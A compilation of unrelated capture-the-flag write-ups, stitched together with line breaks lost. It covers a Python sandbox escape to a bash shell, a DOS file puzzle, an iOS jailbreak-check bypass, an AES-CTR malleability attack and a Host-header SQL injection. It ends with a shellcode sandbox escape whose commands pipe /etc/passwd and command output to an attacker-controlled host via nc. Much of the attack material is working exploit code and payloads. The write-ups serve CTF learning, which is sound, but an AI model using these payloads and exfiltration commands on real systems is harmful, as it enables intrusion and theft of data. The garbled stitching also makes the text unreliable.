```bash#!/bin/bashcurl -s "https://storage.googleapis.com/gctf-2018-attachments/2cdc6654fb2f8158cd976d8ffac28218b15d052b5c2853232e4c1bafcb632383" -o tmpwhile true; do fname=$(ls | grep -v getflag.sh) if [ "$fname" != "tmp" ]; then mv $fname tmp; fi if grep -q password.txt tmp; then break; fi xname="tmp.$(file -b tmp | awk '{print tolower($1)}')" mv tmp $xname dtrx -foq $xname if [ $(ls | wc -l) -gt 2 ]; then rm -r $xname; fidoneunzip -P asdf -q tmpcat password.txtls | grep -v getflag.sh | xargs rm -r```
# Rotaluklak (pwn) A very nice Python exploitation challenge.We get access to a service and it's [source code](source.py) The important part of the code is: ```python multiply = operator.mul divide = operator.div idivide = operator.truediv add = operator.add subtract = operator.sub xor = operator.xor power = operator.pow wumbo = lambda _, x, y: int((str(x) + str(y)) * x) def evaluate(self, expr, debug=False): expr = expr.split() stack = [] for token in expr: try: # If the token is a number, push it onto the stack. stack.append(int(token)) except ValueError: # This is an operator call the appropriate function y = stack.pop() x = stack.pop() stack.append(operator.attrgetter(token)(self)(x, y)) return stack[0]``` The service takes our input, splits tokens by space and then evaluates them as Reverse Polish Notation inputs.It seems we can only pass integer arguments and call only 2-argument functions from `self`. There are a couple of important points here: 1. Due to how `operator.attrgetter` works we can access properties recursively here - we can pass `x.y.z` to access `self.x.y.z`2. We can access ANY property of the `self` object, not only functions we can see in the source code.3. While arguments we pass directly in input can be only integers, we can place any object on the stack, as long as this object is returned from function we call As usual in such challenges we try to figure out how to get access to `__builtins__` module and then use `__import__` to get something like `os` or `subprocess`.There is not much to work with, but there is `wumbo` lambda function, which contains `func_globals` dictionary.In this dictionary we have `__builtins__` module we want.The problem is we can't use `['__builtins__']` in `operator.attrgetter` parameter, we can only access direct properties. Our idea is to call `wumbo.func_globals.get` with 2 arguments `__builtins__` and some random integer, which will return the module we want.Now to do this we need to have a string on the stack, so we can use it as an argument. We will need more strings, so it's a good idea to make a function which can create arbitrary strings on the stack.To achieve this we will use `__doc__.__getslice__`.It's quite obvious the intended way, because `__doc__` contains all possible characters.We use `__getslice__` for simplicity, as it actually takes 2 arguments. So to get some letters on the stack we can just use payload `x y __getslice__` and the evaluator will place `__doc__[x:y]` on the stack.Of course there are no whole words we need in the docstring, so we'll have to combine those from single letters.In order to combine them we can just use `add` function.So if we do: `x y __getslice__ z v __getslice__ add` We will get word `__doc__[x:y]+__doc__[z:v]` on the stack.The final function is just: ```pythondef string_generator(payload): result = [] c = Calculator() data = c.__doc__ for character in payload: index = data.index(character) result.append((str(index), str(index + 1), "__doc__.__getslice__")) result.append(('add',) * (len(payload) - 1)) return " ".join([" ".join([y for y in x]) for x in result])``` Now back to our initial problem - we want to get `__builtins__` module.Since we can genrate strings now, we can just send payload `string_generator("__builtins__")+' 1 wumbo.func_globals.get'` and voila, we get module on the stack. Now the problem is, how can we use this?Again, the function to call or properties to extract can come only from `self`.Fortunately python allows to monkey-patch anything, so we can just create a new property on object `self` using `self.__setattr__` function.This functions requires 2 arguments - name of the property and value. So we can chain this with our previous payload to get: ```pythonstring_generator("b")+' '+string_generator("__builtins__")+' 1 wumbo.func_globals.get __setattr__ '``` And this will create a new property `b` on object `self` and assign the `__builtins__` module there. Downside of this, is that setattr pushes None on the stack, and from now on we won't get echo, since top of the stack will be None.Property is there, we can do `b.__import__` to access import function. We can call this function on some module we want, for example `os` to get this module on the stack again. ```pythonstring_generator("b")+' '+string_generator("__builtins__")+' 1 wumbo.func_globals.get __setattr__ '+string_generator("os")+' 1 b.__import__')``` Again we need to assign this module to some property in order to be able to access it, so we do: ```pythonstring_generator("b")+' '+string_generator("__builtins__")+' 1 wumbo.func_globals.get __setattr__ '+string_generator("s")+ ' '+string_generator("os")+' 1 b.__import__ __setattr__')``` And voila, we have `os` module set as `self.s` property. We want to call `os.execl("/bin/bash","x")`, so what we do is simply place two strings as arguments on the stack and then call the function: ```pythonstring_generator("b")+' '+string_generator("__builtins__")+' 1 wumbo.func_globals.get __setattr__ '+string_generator("s")+ ' '+string_generator("os")+' 1 b.__import__ __setattr__ '+ string_generator("/bin/bash") + ' ' + string_generator("x") + ' s.execl'``` This gives us the final payload of: ```358 359 __doc__.__getslice__ 1772 1773 __doc__.__getslice__ 1772 1773 __doc__.__getslice__ 358 359 __doc__.__getslice__ 93 94 __doc__.__getslice__ 81 82 __doc__.__getslice__ 91 92 __doc__.__getslice__ 96 97 __doc__.__getslice__ 81 82 __doc__.__getslice__ 120 121 __doc__.__getslice__ 82 83 __doc__.__getslice__ 1772 1773 __doc__.__getslice__ 1772 1773 __doc__.__getslice__ add add add add add add add add add add add 1 wumbo.func_globals.get __setattr__ 82 83 __doc__.__getslice__ 97 98 __doc__.__getslice__ 82 83 __doc__.__getslice__ add 1 b.__import__ __setattr__ 1787 1788 __doc__.__getslice__ 358 359 __doc__.__getslice__ 81 82 __doc__.__getslice__ 120 121 __doc__.__getslice__ 1787 1788 __doc__.__getslice__ 358 359 __doc__.__getslice__ 87 88 __doc__.__getslice__ 82 83 __doc__.__getslice__ 80 81 __doc__.__getslice__ add add add add add add add add 112 113 __doc__.__getslice__ s.execl``` Whe we send this payload to the server, we will invoke `os.execl("/bin/bash","x")` and therefore gain shell.We can just cat the flag there: `Flag:r3vers3_p0lish_eXpl01tS!` Initially we wanted to use `subprocess.check_output()` instead of `os.execl()`, but as mentioned earlier `setattr` places None on the stack, and therefore the result of the command is not on the top, and we can't see it.It was easier to use `os.execl()` than to figure out how to pop those Nones, or how to start a reverse shell on the target machine.
Checking the file information:```$ file www.com``` This provides us with the following information, telling us that the file is simply text:```www.com: ASCII text, with CR, LF line terminators``` Checking the contents of the file:```$ cat www.com``` This provides us with the following content:```The Foobanizer9000 is no longer on the OffHub DMZ. $)I!hSLX4SI!{p*S:eTM'~_?o?V;m;CgAA]Ud)HO;{ l{}9l>jLLP[-`|0gvPY0onQ0geZ0wY5>D0g]h+(X-k&4`P[0/,64"P4APG``` This file, however, uses CRLF line terminators, and thus `cat` will not properly format the text. Opening the file in Sublime Text gives us:```hD7X-t6ug_hl(]Wh8$^15GG1-hbrX5prPYGW^QFIuxYGFK,1-FGIuqZhHIX%A)I!hSLX4SI!{p*S:eTM'~_?o?V;m;CgAA]Ud)HO;{ l{}9l>jLLP[-`|0gvPY0onQ0geZ0wY5>D0g]h+(X-k&4`P[0/,64"P4APGThe Foobanizer9000 is no longer on the OffHub DMZ. $``` Since it appears this effort is fruitless, I moved on looking into running `www.com`. `COM` files were a common executable format on DOS, so I tried running it in DOSBOX, but all I got was:```The Foobanizer9000 is no longer on the OffHub DMZ.``` At least, that is what the terminal displays to us. There are various different characters which can be used to do some rudimentary text formatting in the DOS terminal, thus potentially hiding some of the standard output. In order to get all of the standard output, I redirected the output of `www.com` to a textfile:```www.com > www.txt``` In the resulting `www.txt`, I obtained the following:```CTF{g00do1dDOS-FTW} ?II4\p5K?W=?)?P[-`|0gvPY0onQ0geZ0wY5>D0g]h+(X-k&4`P[0/,64"P4APÃThe Foobanizer9000 is no longer on the OffHub DMZ. ``` You'll notice that there are a few _interesting_ characters there that are displaying in a bit of an odd way. These characters are (in order):* SO - Shift-Out (0x0E)* DEL - Delete (0x7F)* DC2 - Device Control 2 (0x12)* SO - Shift-Out (0x0E)* SYN - Synchronous Idle (0x16) These are all non-printing ASCII characters, meaning that their function was not to be seen by us, but rather to indicate what should be done to the computer. These characters appear to be affecting the way that the text is being formatted when printed to standard output in DOSBOX. This can be seen further through trying to use the `type` command to print the contents of `www.txt`, as it provides us with the _exact_ same output as running `www.com`, despite the fact that (as we know) the file contains more text than just that. It would be interesting to investigate what exactly these particular characters are doing the to the formatting of the output in DOS. The flag can be found in `www.txt` after redirecting the output of `www.com` to it:```CTF{g00do1dDOS-FTW}```
This challenge gave us an image of a Atari POKEY Chip connected to a Salea Logic Analyzer as well as a CSV file containing the data from a session of keyboard inputs. I found the Data Sheet online for this chip as well as a thread that provided the decodings for these keyboard codes. I was able to decrypt the flag by writing a python script to debounce the key codes. I needed to add a time threshold (3 x 10^-7) to my code so that the correct values for each wire were chosen. FLAG;_8-BIT-HARDWARE-KEYLOGGER\n
## Jailbreak __Type:__ RE/iOS __Files:__ [Jailbreak.ipa](Jailbreak.ipa) ## Solution: You know the drill. Start with unpacking application and analysing app resources. Spoiler alert: nothing useful. So let's go right away to the static analysis of the binary. First thing we have to notice is that it is arm64 only binary, so we will need respective device in case of dynamic analysis. String search gives us some starting point for further digging.```000000010000dac0 "Your flag may appear here",000000010000dada "01"000000010000dadd "10"000000010000dae0 "Sorry, you must change the status to something else"000000010000db20 "MATESCTF{f4k3fl4G}"000000010000db33 "11"000000010000db36 "00"``` If you dealt with CTFs before you can already kinda guess what the task expect us to do - there is some function that returns something, and we need to reverse it and see under what certain conditions it may do something with flag. Let's investigate this "status" variable. Before proceeding further with reversing, let's see if it is a stupidly easy task and if we can have an easy win. And by this I mean launching application, connecting to it with cycript and literally change status variable to other value to see if it will somehow affect the results. Connecting cycript:```cycript -p Jailbreak``` Reflection of main ViewController properties:```ObjC@<Jailbreak.ViewController: 0x145e1ad70>:in Jailbreak.ViewController:Properties:@property (nonatomic, weak) UILabel* flagLabel; (@synthesize flagLabel = flagLabel;)@property (nonatomic, weak) UILabel* jbStatus; (@synthesize jbStatus = jbStatus;)Instance Methods:- (id) flagLabel; (0x1000968c0)- (void) setFlagLabel:(id)arg1; (0x10009697c)- (id) jbStatus; (0x100096b5c)- (void) setJbStatus:(id)arg1; (0x100096c18)- (void) btnChecked:(id)arg1; (0x100097650)- (^block) .cxx_destruct; (0x100098afc)- (id) initWithCoder:(id)arg1; (0x1000994d0)- (void) didReceiveMemoryWarning; (0x100096880)- (id) initWithNibName:(id)arg1 bundle:(id)arg2; (0x100099024)- (void) viewDidLoad; (0x1000967cc)``` Changing properties in runtime: ```ObjC[[[UIApplication sharedApplication] keyWindow] recursiveDescription] r = [[[UIApplication sharedApplication] keyWindow] rootViewController] [r theProperty][r theProperty].text = "00"[r theProperty]``` And it happens that the flag output is based on actual check before setting variable, and' that's good, it means challenge is not a crap. Now after we established that, let's analyse the binary in Hopper, starting from our variable and flag-related strings. And it looks like the strings for the flag output is in the function```int __T09Jailbreak14ViewControllerC10btnCheckedyypF(int arg0)```which is called on the button-press handler method```[_TtC9Jailbreak14ViewController btnChecked:]``` Also we can notice Obfuscator class, or waste a lot of time statically reversing `__T09Jailbreak14ViewControllerC10btnCheckedyypF` but we do not even care about it at this point, as there is already a way for a quick and easy solution that can be seen from the disassembly of `__T09Jailbreak14ViewControllerC10btnCheckedyypF`. Let's look at the Control Flow Graph of this function, and color blocks in red that lead to an error, and in green that looks like they may be important for flag calculation output. And we need to reach the last block with:```Asmadrp x8, #0x100011000 ; 0x1000115c8@PAGEadd x8, x8, #0x5c8 ; 0x1000115c8@PAGEOFF, &@selector(setText:)ldr x1, [x8] ; argument "selector" for method imp___stubs__objc_msgSend, "setText:",@selector(setText:)ldr x8, [sp, #0x2a0 + var_1E0]mov x0, x8 ; argument "instance" for method imp___stubs__objc_msgSendldr x2, [sp, #0x2a0 + var_260]bl imp___stubs__objc_msgSend ; objc_msgSend``` So we will get something like: [this.pdf](Jailbreak___T09Jailbreak14ViewControllerC10btnCheckedyypF.pdf) Now we just attach the debugger, like this:```process attach --name Jailbreak > breakpoint set --selector btnChecked:Breakpoint 16: where = Jailbreak`@objc Jailbreak.ViewController.btnChecked(Any) -> (), address = 0x0000000100c5b650``` Then trace inside the actual checking function, and "help" the control flow to reach needed block. Jumping straight to flag output procedure did not work, so we need either rewrite jumps or directly set the ```pc``` register at the CFG branching. Fortunately there's not many of them so it can be done easily. Doing that, we are greeted with a flag: ![screenshot](screenshot.png) ```MATESCTF{Congratz! Y0u h4ve byp4$$ th3 Jaibroken t3st}``` Done.
Reverse everything in python with this script: ```# 1.pyf = open("e", "r")buf = f.read()f.close()buf = buf.encode("hex")buf = buf[::-1]f = open("sol", "w")f.write(buf.decode("hex"))f.close()```[https://nitesculucian.github.io/2018/07/15/dctf-2017-working-junks-writeup/](https://nitesculucian.github.io/2018/07/15/dctf-2017-working-junks-writeup/)
# DOGESTORE>Secret Cloud Storage System: This is a new system to store your end-to-end encrypted secrets. Now with SHA3 integrity checks!>>$ nc dogestore.ctfcompetition.com 1337 Attached we find: - `fragment.rs`, some partial Rust source code for the challenge; - `encrypted_secret`, a 110 bytes large binary file. ## Understanding the challenge Let's start by taking a look at the Rust source code we were provided. ```rustconst FLAG_SIZE: usize = 56;const FLAG_DATA_SIZE: usize = FLAG_SIZE * 2; #[derive(Debug, Copy, Clone)]struct Unit { letter: u8, size: u8,} fn deserialize(data: &Vec<u8>) -> Vec<Unit> { let mut secret = Vec::new(); for (letter, size) in data.iter().tuples() { secret.push(Unit { letter: *letter, size: *size, }); } secret} fn decode(data: &Vec<Unit>) -> Vec<u8> { let mut res = Vec::new(); for &Unit { letter, size } in data.iter() { res.extend(vec![letter; size as usize + 1].iter()) } res} fn decrypt(data: &Vec<u8>) -> Vec<u8> { key = get_key(); iv = get_iv(); openssl::symm::decrypt( openssl::symm::Cipher::aes_256_ctr(), &key, Some(&iv), data ).unwrap()} fn store(data: &Vec<u8>) -> String { assert!( data.len() == FLAG_DATA_SIZE, "Wrong data size ({} vs {})", data.len(), FLAG_DATA_SIZE ); let decrypted = decrypt(data); let secret = deserialize(&decrypted); let expanded = decode(&secret); base64::encode(&compute_sha3(&expanded)[..])}``` As suggested by the name (`fragment.rs`), the source code is partial, but we can nonetheless understand what it's supposed to do. `store` is the function that calls all the other functions, and works like this: - read 56*2 = 112 bytes, - "decrypt" the data, - "deserialize" the data, - "decode" the data, - return the SHA-3 hash of the result, encoded in base64. We try to interact with the service at `dogestore.ctfcompetition.com` to check if it works in a similar way. The service reads exactly 110 bytes, and returns a base64-encoded string, which decodes to 32 bytes. The service's behaviour seems to match the source code, except for reading 110 bytes instead of 112. Close enough to be FLAG_SIZE*2, but we guess the organizers messed something up and FLAG_SIZE is actually 55. Among the SHA-3 variants, 32 bytes means SHA-3-256 is probably the one used by the service. The challenge emulates a service taking some encrypted, serialized data, restoring it back to original, and returning a checksum. Let's dive more deeply in each function. ### DecryptionThis function decrypts the 110 bytes using AES-CTR (AES counter mode). We assume the IV and the key are fixed, since we can't supply them and the service is supposed to be deterministic. ### DeserializationThis function parses and deserializes the decrypted data. `tuples()` is not defined, but we assume (looking at the Unit struct) that it iterates through the byte vector 2 bytes at a time. For each pair, the first byte is read as a "letter", the second as a "size". ### DecodingThe deserialized data is then "expanded" back to original size like this: for each letter-size pair, repeat the letter *size*+1 times. Let's see an example:```input: 'A \x00 B \x04 C \x01' (these are contiguous bytes) A repeated 0+1=1 timesB repeated 4+1=5 timesC repeated 1+1=2 times output: 'ABBBBBCC'``` We now know the format of the decrypted data: the data is like```1 byte: letter1 byte: size - 1... repeated 55 timestotal length = 55*2 = 110 bytes Example: 'A\x00B\x04C\x01w\x00t\x02...'``` Since usually serialization tries to save as much space as possible, we expect each letter to be different from the previous one. ### Approach`encrypted_secret` is 110 bytes long, same size as the service input. Looking at the filename, this is probably the serialized, encrypted flag. Let's start by submitting the secret to the service.The service sends back the SHA-3 hash of the decrypted secret: `ff1e690dea4fa3384cfb151e95abe92fde33e57d69d8c1f97107d0bbccf8a1d6` We can't do much with this, but it could be useful for some additional final checks. To move to the actual attack, some crypto basics are needed.Skip the next section if this stuff is old news for you. ## Crypto Background ### SHA-3SHA-3 is a cryptographic hashing function, i.e. a function that maps a message of arbitrary length to a fixed-size digest. One of the main properties of a cryptographic hash function is that it is *non-invertible*: we can't recover the original message from a digest.We'll have to find another way to find the secret. ### AES-CTR AES is a block cipher, but it can work in many different *modes of operation*. AES-CTR specifically is a mode of operation which makes AES work like a *stream* cipher. Instead of encrypting a message block by block, we generate a continuous, unpredictable bitstream. The bitstream (also called keystream) is simply XOR-ed with the plaintext to generate the ciphertext. The keystream depends on both the IV (initialization vector, or nonce) and the key. In this challenge we assume the IV and the key are fixed, since we can't provide them and we expect the service to be deterministic. This means that in this specific case the keystream is fixed, and AES-CTR is reduced to a simple XOR cipher. Let's see an example. Consider as plaintext the string "Wiki" (01010111 01101001 01101011 01101001 in 8-bit ASCII). Encryption with a XOR cipher and a sample keystream:``` 01010111 01101001 01101011 01101001 // plaintext ⊕ 11110011 01100011 11101001 00110010 // keystream = 10100100 00001010 10000010 01011011 // ciphertext```Decryption is done by XOR-ing the ciphertext with the keystream again:``` 10100100 00001010 10000010 01011011 // ciphertext ⊕ 11110011 01100011 11101001 00110010 // keystream = 01010111 01101001 01101011 01101001 // plaintext``` #### Attacks on AES-CTRWithout integrity checks, AES-CTR is *malleable*. By manipulating the ciphertext, we can purposefully modify the plaintext it will be decrypted to, even if we don't know the plaintext itself. This is because, since aes-ctr is equivalent to a simple XOR cipher, when we flip a bit in the ciphertext the bit will be flipped in the plaintext too! Let's see an example. We take the same ciphertext as the previous example, and flip an arbitrary bit. `10100100 00001010 10000010 01011011 -> 10100100 00001010 1000001*1* 01011011` ``` 10100100 00001010 10000011 01011011 // modified ciphertext ⊕ 11110011 01100011 11101001 00110010 // keystream = 01010111 01101001 01101010 01101001 // new plaintext```The plaintext bit in the same position was flipped. `01010111 01101001 01101011 01101001 -> 01010111 01101001 0110101*0* 01101001` Decrypted plaintext: "Wi**j**i" instead of "Wiki". Since we know the format of the encrypted data, we can use this trick to our advantage to edit the plaintext in critical positions. ## Finding the letters Let's think about it. The only output the service is willing to give us is the hash of the decoded plaintext. We can't do much with it, except for checking if the hash is one we already know.We need to use this hash to guess the content of the plaintext. We can use the fact that two different serializations can be decoded to the same message: if the same letter appears twice in a row in the serialized data, as long as the sum of the sizes of the two repeated letters is the same, the decoded message will also be the same (and the hash will be too). Example:```'A\x02A\x02' is decoded as 'AAAAAA''A\x01A\x03' is also decoded as 'AAAAAA'``` We will use this and some clever xor tricks to run automated tests on the plaintext values, and leak the content. The attack: - consider a pair of adjacent "letters" (i.e. letter 1 + size 1 + letter 2 + size 2) - XOR the second letter with the mask M - XOR the least significant bit of the size bytes in all the possible configurations (0 and 0, 0 and 1, 1 and 0, 1 and 1) - if the letter are XORed to be the same, two of the four combinations will produce a message where the letter is repeated for the same total number of times, and therefore two hashes will match - if the letters are not XORed to be the same, no match will be found - try XOR-ing with a different value M until a match is found (up to 256) - repeat for each pair of adjacent letters (from 1 to 55) When a match is found, we will have leaked the value M = letter 1 XOR letter 2. Example:```original plaintext: A\x03D\x05if the letter is xor-ed correctly, the second letter will be the same as the first in the new plaintext:...xor 2 -> A\x03C\x05 xor first size, xor second size -> result0,0 -> A\x03C\x05 tot 10, decoded as AAAACCCCCC0,1 -> A\x03C\x04 tot 9, decoded as AAAACCCCC1,0 -> A\x02C\x05 tot 9, decoded as AAACCCCCC1,1 -> A\x02C\x04 tot 8, decoded as AAACCCCC*no match* xor 3 -> A\x03A\x05 xor first size, xor second size -> result0,0 -> A\x03A\x05 tot 10, decoded as AAAAAAAAAA0,1 -> A\x03A\x04 tot 9, decoded as AAAAAAAAA *match*1,0 -> A\x02A\x05 tot 9, decoded as AAAAAAAAA *match*1,1 -> A\x02A\x04 tot 8, decoded as AAAAAAAA``` We can prove that, if the next letter is xor-ed to be the same as the current, at least two of the four hashes will be the same. There is always a combination that makes the size increase or decrease by the same amount.Size variation for each xor bit combination: | | 0,0 | 0,1 | 1,0 | 1,1 ||----|----|----|----|----|| 0,0 | +0 | **+1** | **+1** | +2 || 0,1 | **+0** | -1 | +1 | **+0** || 1,0 | **+0** | +1 | -1 | **+0** || 1,1 | +0 | **-1** | **-1** | -2 | On the y axis, we have the lsb of the size bytes for the first and second letter.On the x axis, the possible xor combinations. Using this attack we can find all the bitwise differences between adjacent letters. Since we don't know the value of the first letter, we will have to try all of them and guess which is the one that makes more sense. All the other letters can be found using the first value and the differences. The exploit: ```python#!/usr/bin/env python3from socket import socketfrom hashlib import sha3_256 as sha3 def bxor(b1, b2): parts = [] for b1, b2 in zip(b1, b2): parts.append(bytes([b1 ^ b2])) return b''.join(parts) def gethash(text): # send text sock = socket() sock.connect((host, port)) sock.send(text) # get base64 encoded hash data = sock.recv(1024) sock.close() return data host = 'dogestore.ctfcompetition.com'port = 1337 # load encrypted flagwith open('encrypted_secret', 'rb') as f: ctext = f.read()print('Encrypted:')print(ctext.hex())print(len(ctext), 'bytes') nletters = len(ctext) // 2 differences = []for i in range(0, nletters - 1): print('index:', i) for c in range(256): print('diff:', c) hashes = [] for x, y in ((0, 0), (0, 1), (1, 0), (1, 1)): # a) xor next letter to make it the same as the current one # b) xor least significant bit of the sizes to create two messages # with varying sizes for the current and following letter, # but same total size mask = b'\x00\x00' * i + \ b'\x00' + (x).to_bytes(1, 'little') + \ (c).to_bytes(1, 'little') + (y).to_bytes(1, 'little') + \ b'\x00\x00' * (nletters - i - 2) assert len(mask) == len(ctext) h = gethash(bxor(ctext, mask)) hashes.append(h) # if we found a match among the hashes, the letters were the same, and # we guessed the bit difference between this letter and the next one if len(set(hashes)) < 4: print() print('Nice!', c) differences.append(c) print(differences) print() break for c in range(256): s = chr(c) for x in differences: s += chr(ord(s[-1]) ^ x) print(c) print(s)``` Among the possible candidates, we notice one that follows the ctf flag format:```...72HFHFHDHDHDSAaACTF{SADASDSDCTF{L_E_R_OY_JENKINS}ASDCTF{...```Sadly we still don't know how many times each letter is repeated in the actual decoded data. ## Finding the sizes We can mount an attack similar to the previous, but this time we have the advantage of knowing the value of the letters themselves. Again, we exploit the case where two different serializations are decoded to the same message. The attack: - consider a pair of adjacent "letters" (i.e. letter 1 + size 1 + letter 2 + size 2) - XOR the second letter with the mask M we know to make the letters the same - consider a bit position in both "size" bytes (e.g. the first bit) - flip the bit in the first size byte, get the resulting hash - flip the bit in the second size byte, get the resulting hash - if the bits were the same, both messages will have the letter repeated the same amount of times, and therefore the same hashes - if the bits were opposite, the letter will appear a different amount of times and the hashes will be different - repeat for each bit position in the size bytes (from 1 to 8) - repeat for each pair of adjacent letters (from 1 to 55) With this attack we can recover M' = size 1 XOR size 2, one bit at a time. Example:```original plaintext: A\x03D\x02xor to make the letters match -> A\x03A\x02 bit 1:-> A\x02A\x02, tot 6, decoded as AAAAAA-> A\x03A\x03, tot 8, decoded as AAAAAAAA*no match*the bits are different bit 2:-> A\x01A\x02, tot 5, decoded as AAAAA-> A\x03A\x00, tot 5, decoded as AAAAA*match*the bits are the same...``` The exploit: ```python#!/usr/bin/env python3from socket import socketfrom hashlib import sha3_256 as sha3 def bxor(b1, b2): parts = [] for b1, b2 in zip(b1, b2): parts.append(bytes([b1 ^ b2])) return b''.join(parts) def gethash(text): # send text sock = socket() sock.connect((host, port)) sock.send(text) # get base64 encoded hash data = sock.recv(1024) sock.close() return data host = 'dogestore.ctfcompetition.com'port = 1337 differences = [14, 14, 14, 14, 12, 12, 12, 12, 12, 23, 18, 32, 32, 2, 23, 18, 61, 40, 18, 5, 5, 18, 23, 23, 23, 7, 23, 18, 61, 55, 19, 26, 26, 13, 13, 16, 22, 6, 21, 15, 11, 5, 2, 7, 29, 46, 60, 18, 23, 7, 23, 18, 61, 113] # load encrypted flagwith open('encrypted_secret', 'rb') as f: ctext = f.read()print('Encrypted:')print(ctext.hex())print(len(ctext), 'bytes') nletters = len(ctext) // 2 sizes = []for i in range(0, nletters - 1): print('index:', i) b = 0 for j in range(8): print('bit', j) # check if this bit in the current size byte is different from the one # in the following size byte # first mask: make letters the same, # change one bit in the size of the first letter mask1 = b'\x00\x00' * i + \ b'\x00' + (1<<j).to_bytes(1, 'little') + \ (differences[i]).to_bytes(1, 'little') + b'\x00' + \ b'\x00\x00' * (nletters - i - 2) assert len(mask1) == 110 h1 = gethash(bxor(ctext, mask1)) # second mask: make letters the same, # change one bit in the size of the second letter mask2 = b'\x00\x00' * i + \ b'\x00\x00' + \ (differences[i]).to_bytes(1, 'little') + \ (1<<j).to_bytes(1, 'little') + \ b'\x00\x00' * (nletters - i - 2) assert len(mask2) == 110 h2 = gethash(bxor(ctext, mask2)) # if the bits are the same, the size will be increased by the same # amount for both letters # -> same hash # otherwise one size will be increased, the other decreased # -> different hashes if h1 == h2: print('same') else: print('different') b += (1 << j) print(hex(b)) sizes.append(b) print(sizes)``` Using this exploit we manage to find the bitwise differences between the sizes of each letter. Again, we don't know the first value, but we guess the one with the smallest values is the most probable. ## FlagWith the leaked letters and sizes, we can recover the decoded secret, which is `'HFHFHHHDHDHDDDDDDSSSSSSSAAAAaAAAAAACTF{{{SADASDSDCTF{LLLLLLLLL___EEEEE____RRRRRRRRRRR_OYYYYYYYYYY_JEEEEEEENKKKINNSSS}ASDDDDDDDCTF{{{{{\n'`. The sha3 hash of the secret we found is `ff1e690dea4fa3384cfb151e95abe92fde33e57d69d8c1f97107d0bbccf8a1d6`, which matches with the one provided by the server! We're all set. The flag is the portion following this ctf's flag format, i.e. `CTF{LLLLLLLLL___EEEEE____RRRRRRRRRRR_OYYYYYYYYYY_JEEEEEEENKKKINNSSS}`. ## Additional notesThis challenge was fun, as there were many different way to leak the plaintext content. For instance, an alternative way to leak the sizes came to our mind after the ctf was finished. Once we knew the letters, we could just XOR all letters to the same one and get the resulting hash. We could then locally compute the hash of that letter repeated for all possible lengths, and look for a match to find the sum of all the sizes. The single values could next be found by xoring a letter at a time, and again bruteforcing locally all possible combination of the repetitions of that letter, concatenated with the repetitions of the other letter. This could have saved some requests to the challenge service, which was often slow while the ctf was running (probably due to high load).
```GET / HTTP/1.1Host: 5880') union select 1, 1, 1, 1, SUBSTRING(Content, 1, 1) from articles ;-- .state-agency.tux.roUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/56.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeUpgrade-Insecure-Requests: 1``` [https://nitesculucian.github.io/2018/07/15/dctf-2017-state-agency-writeup/](https://nitesculucian.github.io/2018/07/15/dctf-2017-state-agency-writeup/)
# Baby Sandbox___ In this challenge, we were given following input data:- source - tiny webservice written in ``python`` (3.6) + ``flask``.- bin - the ELF32 binary that was supposed to be handling the payload sent by us (eventually). Within webservice's source file, we could find additional technology - ``unicorn``.It is CPU emulator that is supposed to emulate the actual jail that we had to escape from.The binary itself was ready to execute arbitrary code (256 bytes), unless blocked in jail. It took me a while to solve the logic behind this chall due to indirect call to the binary - via ``nc``! So in the high level view, the flow is like this:- ``flask`` layer serves couple of endpoints , including ``/`` and ``/exploit`` First is used to initiate required cookie session, while the latter is self descriptiven- we send base64 encoded payload on ``/exploit`` endpoint- Once there, payload is examined in ``unicorn``. Every 80h interrupt is filtered out - i.e. value of eax register is compared with the blacklisted syscall.- If the payload is not jailed by ``unicorn``, it is passed to the binary via ``netcat``. ___## The plan It looks straightforward - we have to bypass the jail and execute arbitrary code to get a flag which is 'promised' to be set in the private/secret.txt file (see python source). ___## The approaches There are multiple ways to achieve that:- do not use blacklisted syscalls- abuse logic- crash ``unicorn`` emulation- use blacklisted syscalls anyway - avoid ``int`` ### sysenter The jail can be bypassed by ``sysenter`` x86 instruction. No int 80h means no validation. ### int != 0x80 Within the ``hook_intr`` 'function', we can find this branch: ```def hook_intr(uc, intno, user_data): if intno != 0x80: uc.emu_stop() return``` So if we would issue interrupt, say '3', we could stop the ``unicorn`` emulation and break the jail,as well as the ``bin`` process that awaits for our payload.However, the ``signal`` syscall is not blacklisted, therefore we could register signal handler on SIGSEGVand execute arbitrary code from the signal handler. ### brk() x2 Another way to bypass the jail logic is to break unicorn before interrupt validation.One possibility is to perform brk() syscall (twice) and read/write to the newly allocated memory location. ### forgotten execveat ``execveat`` syscall does not have even libc's caller and could be used here as well. This approach has not been tested however. In any case, we can not retrieve the flag as a result of http request, because stdout of the ``bin`` hosting process is not tied with the webservice at any known interface. This implies, that we have to either spawn remote shell or send stdout of ``bin`` host process to the remote-end (attacker controlled-end). Following exploit uses latter approach. ___## The exploit Following exploit uses well known ``pwntools`` and other useful packages - see imports.The autogenerated x86 assembly uses execve() syscall and sysenter instruction in a inifite loop, simulating real shell. The implicit prerequisite is the remote-end controlled by attacker to retrieve data from attacking endpoint. For example, having controlled IP 1.2.3.4 and port 1337, the command that could be used to retrieve ``/etc/passwd`` file from the ``bin`` hosting process' OS, could look like this: ```nc 1.2.3.4 1337 < /etc/passwd``` stdout of any command could be retrieved as follows, i.e. ``ls`````ls -la | nc 1.2.3.4 1337``` ```import sysfrom pwn import *from base64 import b64decode, b64encodeimport requestsimport json payload_prologue=""" mov ebp, esp push 0x1010101 xor dword ptr [esp], 0x169722e push 0x6e69622f push 0x1010101 xor dword ptr [esp], 0x101622c""" payload_epilogue=""" lea eax, [ebp-0x8] lea ebx, [ebp-0xc] mov ecx, esp push 0 push ecx push ebx push eax push 0xdeadbeef lea eax, [esp+4] mov [esp], eax mov eax, 11 mov ebx, [esp+4] mov ecx, [esp] mov edx, 0 push ecx push edx push ebp mov ebp, esp sysenter""" URL = '178.128.100.75'URL1 = 'http://{}/'.format(URL)URL2 = 'http://{}/exploit'.format(URL)while True: sys.stdout.write('$ ') sys.stdout.flush() payload_cmd = shellcraft.pushstr(raw_input()) payload = payload_prologue + payload_cmd + payload_epilogue shellcode=asm(payload) data = {"payload": "{}".format( b64encode(shellcode) )} log.info('payload: {}'.format(b64encode(shellcode))) s = requests.session() r1 = s.get(URL1) r2 = s.post(URL2,data=json.dumps(data))``` ___## This is the end That's it. Oh really ? Nope. The promised flag is not in the ``private/secret.txt`` file.It was found in the ``/flag`` file instead.
